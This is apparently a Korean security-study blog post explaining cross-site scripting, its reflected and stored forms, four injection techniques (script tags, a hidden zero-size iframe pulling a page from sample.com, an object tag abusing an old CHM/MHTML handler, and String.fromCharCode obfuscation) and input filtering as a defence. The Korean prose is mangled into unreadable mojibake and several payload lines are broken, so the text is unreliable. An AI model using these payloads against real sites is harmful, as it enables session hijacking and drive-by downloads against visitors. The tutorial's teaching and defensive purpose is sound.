1. XSS๋?
Cross Site Scripting(XSS)์ ์ฝ์์ด๋ฉฐ, ํน์ ํ์ด์ง์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด์ ์ธ์
์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ๊ณต๊ฒฉ์๊ฐ ์๋ํ๋๋ก ํ๋ํ๋๋ก ๋ง๋๋ ์น ๊ณต๊ฒฉ์ ์ผ์ข
์ด๋ค. XSS๋ ํฌ๊ฒ Reflected XSS์ Stored XSS๋ก ๋ถ๋ฅํ ์๊ฐ ์๋ค.
Reflected XSS๋ ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ URL์ ์ฌ์ฉ์๊ฐ ์ฝ๊ฒ ํ์ธํ ์ ์๋๋ก ๋ณํ์ํจ ํ ์ด๋ฉ์ผ์ด๋ ๋ค๋ฅธ ์น์ฌ์ดํธ ๋ฑ์ ํด๋ฆญ์ ์ ๋ํ๋๋ก ํ๋ ๋ฐฉ๋ฒ์ด๋ค.
Stored XSS๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ผ๋ฐ ๊ฒ์ํ ๋ฑ์ ๊ณต๊ฒฉ์๊ฐ ๊ฒ์๊ธ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ์ฌ์ฉ์๊ฐ ํด๋น ํ์ด์ง๋ฅผ ํด๋ฆญํ๋ ์๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ์คํํ๋๋ก ํ๋ ๋ฐฉ๋ฒ์ด๋ค.
2. XSS๋ฅผ ์ด์ฉํ ๊ณต๊ฒฉ ์ ํ 4๊ฐ์ง
ใฑ. <script> ํ๊ทธ ์ฝ์
URL ํ๋ผ๋ฏธํฐ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ๋ ๋ฐฉ์์ผ๋ก <script>์ </script> ๋ฃ๋ ๋ด์ฉ์ ๋ฐ๋ผ ๋ค์ํ ๊ธฐ๋ฒ์ ๊ตฌ์ฌํ ์ ์๋ค.
ex) <a href="<script>์
์ฑ์ฝ๋</script>" target="_blank"><script>์
์ฑ์ฝ๋</script>">http://sample.com/comment.cgi?comment=<script>์
์ฑ์ฝ๋</script>"> Click here </A>
ใด. <iframe> ํ๊ทธ ์ฝ์
iframe ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์
์ฑ ์ฝ๋๊ฐ ํฌํจ๋ ์ฌ์ดํธ๋ก ์ธ์
์ ์ฐ๊ฒฐํด ์๋์ผ๋ก ํ๋ก๊ทธ๋จ์ ๋ค์ด๋ก๋ ์ํจ๋ค.
ex) <iframe src=http://sample.com/~bbs/hack.htm name="Click here" width=0 heigth=0frameborder=0></iframe>
ใท. <Object> ํ๊ทธ ์ฝ์
object ํ๊ทธ์ ITS ํ๋กํ ์ฝ ํธ๋ค๋ฌ์ ์ํ chm์ฒ๋ฆฌ์์ ์ทจ์ฝ์ ์ ์ด์ฉํ๋ค.
ex) object width=0 height=0 style=display:none; type=text/xscriptlet"
Data=mk:@MSITStore:mhtml:c:\nosuchfile.mht!</script>">http://sample.com/exploit_chm::exploit.html></script>
--> ์ฌ์ฉ์ PC์ c:\nosuchfile.mht ํ์ผ์ด ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ(์์คํ
์ ์กด์ฌํ์ง ์๋ ํ์ผ ์ด๋ฆ์ ์ ๊ธฐ)http://sample.com/exploit_chm::exploit.html์ ์ ์ํ์ฌ ๋ก์ปฌ ์์คํ
ํ์ผ์ฒ๋ผ exploit.html์ ์คํํ๋ค. ๋น์ฐํ ์ด exploit.html์ ์
์ฑ์ฝ๋๊ฐ ๋๋ค.
ใน.String.fromCharCode()ํจ์ ์ฝ์
String.fromCharCode()ํจ์๋ฅผ ์ฌ์ฉํ์ฌ URL ์ ๋ณด๋ฅผ ์ธ์ฝ๋ฉ ํ๋ ๊ธฐ๋ฒ์ด๋ฉฐ, ์ผ๋ฐ ๋ฌธ์์ด์ 10์ง์๋ก ํ๊ธฐํ์ฌ ๊ด๋ฆฌ์์ ๊ฐ๋
์ฑ์ ๋จ์ด๋จ๋ฆฐ๋ค.
ex) <script> alert(String.fromCharCode(116,101,115,116))</script>--> 116=t, 101=e, 115=s, 116=t
3. XSS๊ณต๊ฒฉ ๋์๋ฐฉ๋ฒ
๊ฐ์ฅ ์ค์ํ ๊ฒ์ ์คํฌ๋ฆฝํธ ์ฝ๋์ ์ฌ์ฉ๋๋ ํน์๋ฌธ์์ ๋ํด ์ดํดํ๊ณ ํํฐ๋ง์ ํด์ผํ๋ค.
ํจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ์ ์ฌ์ฉ์๊ฐ ์
๋ ฅ ๊ฐ๋ฅํ ๋ฌธ์๋ง์ ์ง์ ํด ๋๊ณ , ๊ทธ ๋ฌธ์์ด์ด ์๋๋ฉด ํํฐ๋ง์ ํ๋ค.
์ค์ ๋ก ๊ตฌํํ ์ฝ๋์ด๋ค.- replace(๋ฌธ์์ด, ์ฐพ์ ๋ฌธ์์ด, ๋ฐ๊ฟ ๋ฌธ์์ด)
[์ ์ ๊ณผ๋ชฉ] ์๋ฐ์คํฌ๋ฆฝํธ, PHP ๋ฑ์ ์นํ๋ก๊ทธ๋๋ฐ์ธ์ด
http://tiger5net.egloos.com/viewer/5055050!!!
[์ถ์ฒ] XSS(ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ )|์์ฑ์ Zealous
'Security Study > Web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
๊ตฌ๊ธ ํดํน (0) | 2015.11.21 |
---|---|
web 2์ผ์ฐจ (0) | 2015.10.23 |
webhacking (0) | 2015.10.16 |
What Is A Man In The Middle Attack? ์๋ณธ (0) | 2015.09.03 |
What Is A Man In The Middle Attack? (0) | 2015.09.03 |
๋๊ธ